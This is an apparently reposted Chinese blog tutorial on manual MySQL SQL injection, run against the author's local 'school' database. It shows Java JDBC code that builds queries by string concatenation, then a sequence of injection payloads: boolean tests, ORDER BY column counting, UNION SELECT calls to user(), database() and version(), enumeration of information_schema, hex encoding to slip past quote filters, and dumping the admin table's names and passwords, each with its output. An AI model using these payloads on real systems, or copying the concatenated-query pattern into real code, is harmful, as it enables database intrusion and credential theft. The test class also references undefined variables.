zoukankan      html  css  js  c++  java
  • mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入

    参考:

    http://www.daydaydata.com/help/sql/advance/limit.html

    http://www.f4ck.org/article-1579-1.html

    必备知识:

    • mysql的sql注释符号:#
    • 无论mysql还是sqlServer数据库,里面都有information_schema这个数据库,这个数据库里面TABLES表保存了数据库所有表名,COLUMNS表保存了表   的所有字段名,我们暴库就是针对这两个表。
    • SQL UNION 操作符

           UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

           请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

    • LIMIT子句

           LIMIT 子句用于规定要返回的记录的数目。
           对于拥有成千上万条记录的大型表来说,LIMIT 子句是非常有用的。

           语法:SELECT 列名称 FROM 表名称 LIMIT 开始位置, 行数

          注意开始位置可以省略,默认是0位置

    测试代码:

    数据库连接类

    (适合mysql和MSSQL2008)

    import java.sql.Connection;
    
    public class DateExecute {
    
        private String user;
        private String password;
        private String type;
        private String databaseName;
        
        public DateExecute(String type, String user, String password, String databaseName){
            
            this.type = type;
            this.user = user;
            this.password = password;
            this.databaseName = databaseName;
        }
        
        public  Connection getConnection()
                throws InstantiationException, IllegalAccessException,
                ClassNotFoundException, SQLException {
            
            Connection con = null;
            if(type.equals("mysql")){
            String driverName = "com.mysql.jdbc.Driver";
            Driver d = (Driver) Class.forName(driverName).newInstance();
            con = DriverManager.getConnection("jdbc:mysql://localhost:3306/"+databaseName,
                    user, password);
            }
            else{
                String driverName = "com.microsoft.sqlserver.jdbc.SQLServerDriver";
                Driver d = (Driver) Class.forName(driverName).newInstance();
                con = DriverManager.getConnection("jdbc:sqlserver://localhost:1433; DatabaseName="+databaseName,
                        user, password);
            }
            return con;
        }
    
    
        public  List<Map<String, Object>> getDateList(String sql)
                throws InstantiationException, IllegalAccessException,
                ClassNotFoundException, SQLException {
            Connection conn = getConnection();
            List<Map<String, Object>> list = new ArrayList<Map<String, Object>>();
            try {
                //stmt = conn.prepareStatement(sql);
                //ResultSet rs = stmt.executeQuery(sql);
                Statement state = conn.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,ResultSet.CONCUR_READ_ONLY);
                ResultSet rs=state.executeQuery(sql); 
                list = convertList(rs);
            } catch (SQLException e) {
                System.out.println("数据库连接失败");
                e.printStackTrace();
            }
            return list;
        }
    
        private  List convertList(ResultSet rs) throws SQLException {
    
            List list = new ArrayList();
            ResultSetMetaData md = rs.getMetaData();
            int columnCount = md.getColumnCount(); // Map rowData;
            while (rs.next()) { // rowData = new HashMap(columnCount);
    
                Map<String, Object> rowData = new HashMap<String, Object>();
    
                for (int i = 1; i <= columnCount; i++) {
    
                    rowData.put(md.getColumnName(i), rs.getObject(i));
                }
                list.add(rowData);
            }
            return list;
        }
    
        public  int executeUpdate(String sql) throws InstantiationException,
                IllegalAccessException, ClassNotFoundException, SQLException {
            Connection conn = getConnection();
            Statement stmt;
            int success = 0;
            try {
                stmt = conn.createStatement();
                success = stmt.executeUpdate(sql);
            } catch (SQLException e) {
                System.out.println("数据库连接失败");
                e.printStackTrace();
            }
            return success;
        }
    }

    测试类:

    (我们就是在这个类里面构造注入的sql语句)

    import java.sql.SQLException;
    
    public class TestSql {
    
        public static void main(String[] args) throws InstantiationException,
                IllegalAccessException, ClassNotFoundException, SQLException {
            
    //”root”为你mysql用户名,“xxxxx”为密码,“school”为数据库名
            DateExecute de = new DateExecute("mysql", "root", "XXXXX","school");
            //DateExecute de = new DateExecute("mssql", "sa", "abca157992.","school");
            
            //MYSQL
            
            String sqlM = "select * from user;";
            String sqlInsertM = "insert into user value(24,'mynona','122334')";
            String sqlDeleteM = "delete from user where name = 'mynona'";
            
            
            System.out.println(de.getDateList(sqlbefore+sql));
            
            
            
            //MSSQL
    /*        String sqlbefore = "select * from student where id = 1 ";
            String sql = "  and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='student'";
            String sqlInsert = "insert into student values(6, 222, 111)";
            String sqlDelete = "delete from student where id = 4";*/
            
            //de.executeUpdate(sqlInsert);
            
        }
    }

    测试数据库:

    测试数据:

    假设我们的目标是admin这个表,对于user这个表有个注入点:

    Select * from user where name = ‘’;

    具体如下:

    public class TestSql {
    
        public static void main(String[] args) throws InstantiationException,
                IllegalAccessException, ClassNotFoundException, SQLException {
            
            DateExecute de = new DateExecute("mysql", "root", "157992","school");
            
            String name = "admin";
            String password="mynona";        
            
            String sql = "select * from user where name = '" + name +"' and password = '" + password + "'";
                
            
            
            System.out.println("执行的sql语句:
    " + sql);
            System.out.println(de.getDateList(sql));
    
            
        }
    }

    上面那条sql语句明显两个sql注入点,分别是name和password

    运行上面的程序,可以正常输出:

    [{id=1, name=admin, password=mynona}]

    现在我们要针对name这个注入点构造注入的sql语句。

    判断注入点:

    目标:看看是否有注入

    我们令

    name ="mynona and 1=1 #";

    然后指向上面的测试代码:

    执行的sql语句:

    select * from user where name = 'mynona' and 1=1 #' and password = 'mynona'

    输出结果:

    [{id=2, name=mynona, password=122334}]

     

    还是之前的数据,没变化

    再令:

    name ="mynona and 1=2 #";

    执行的sql语句:

    select * from user where name = 'mynona' and 1=2 #' and password = 'mynona'

    输出结果:

    []

     

    没有数据了,说明有注入

    (tip:sql语句中“#”后面的内容会被忽略)

     

     

    判断字段数(重要):

    目标:看看当前注入点select了几个字段

    (知道这些字段数后以后我们做union语句时就等与这相等)

    分别构造:

    name ="mynona' order by 1  #"; 输出正常
    name ="mynona' order by 2 #";输出正常
    name ="mynona' order by 3  #";输出正常
    name ="mynona' order by 4 #";错误输出

    由此可以知道当前的表有3个字段

     

    然后我们联合查询:

     

    name ="mynona' and 1=2 union select 1,2,3 #";

    执行的sql语句:

    select * from user where name = 'mynona' and 1=2 union select 1,2,3 #' and password = 'mynona'

    输出结果:

    [{id=1, name=2, password=3}]

     

     

    查看用户名:

     

    name ="mynona' and 1=2 union select 1,user(),3 #";

    执行的sql语句:

    select * from user where name = 'mynona' and 1=2 union select 1,user(),3 #' and password = 'mynona'

    输出结果:

    [{id=1, name=root@localhost, password=3}]

     

     

    现在用户名出来了,是root

     

    查看数据库:

    name ="mynona' and 1=2 union select 1,database(),3 #";

    执行的sql语句:

    select * from user where name = 'mynona' and 1=2 union select 1,database(),3 #' and password = 'mynona'

    输出结果:

    [{id=1, name=school, password=3}]

    当前数据库名也出来了:school

    查看数据库版本:

    name ="mynona' and 1=2 union select 1,version(),3 #";

    执行的sql语句:

    select * from user where name = 'mynona' and 1=2 union select 1,version(),3 #' and password = 'mynona'

    输出结果:

    [{id=1, name=5.5.34, password=3}]

    可以看到mysql版本是5.5.34

    开始爆库:

    在mysql里有information_schema这个库,这个库里有tables表,表中有table_schema字段,这个字段储存的时mysql里所有的库名,同时还有table_name这个字段,储存的是MySQL里所有的表名。

    遍历数据库school里面的所有表:

    其实就是差information_schema数据库里面的TABLES表

            name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema='school'# ";

    提示:如果对方网站过滤了单引号的话,可以把字符转为16进制:

    如school 的十六进制为:0x7363686F6F6C

    那么上面那条语句可以变为:

    name ="mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ";

    执行的sql语句:

    select * from user where name = 'mynona' union select TABLE_NAME,2,3 from information_schema.tables where table_schema=0x7363686F6F6C# ' and password = 'mynona'

    输出结果:

    [{id=2, name=mynona, password=122334}, {id=admin, name=2, password=3}, {id=user, name=2, password=3}]

    可以看到school数据库的表为user, admin

    看到这里,应该高兴,因为admin说不定就存储这管理员的用户名和密码

    下面我们遍历admin表(其实就跟上面遍历user表差不多)

    其实就是查询数据库information_schema表里面的COLUMNS表

    name ="mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ";

    执行的sql语句:

    select * from user where name = 'mynona' union select 1,2,COLUMN_NAME from information_schema.`COLUMNS` where TABLE_NAME = 'admin'# ' and password = 'mynona'

    输出结果:

    [{id=2, name=mynona, password=122334}, {id=1, name=2, password=id}, {id=1, name=2, password=name}, {id=1, name=2, password=phone}, {id=1, name=2, password=sex}, {id=1, name=2, password=tel}, {id=1, name=2, password=password}]

     

         

    可以看到遍历出了表admin的字段为:id,name,phone,sex,tel,password

    遍历name和password字段的数据:

            name ="mynona' union select 1,concat(name),concat(password) from admin # ";

    执行的sql语句:

    select * from user where name = 'mynona' union select 1,concat(name),concat(password) from admin # ' and password = 'mynona'

    输出结果:

    [{id=2, name=mynona, password=122334}, {id=1, name=admin, password=mynona}]

    得出:name=admin,password= mynona

    就这样admin表遍历出来了

     

  • 相关阅读:
    ArrayList源码分析_JDK1.8.0_191
    LinkedList源码分析_JDK1.8.0_191
    HashMap源码分析_JDK1.8.0_191
    生产者消费者模型Java实现
    INT整型最小值取负还是本身的问题
    字节跳动面试题
    go sqlx操作数据库问题
    go gin框架调用cmd运行python脚本问题
    Android视频播放不能使用自研播放器
    mac python版本错误问题以及pip版本错误(anacanda)
  • 原文地址:https://www.cnblogs.com/mynona/p/3622858.html
Copyright © 2011-2022 走看看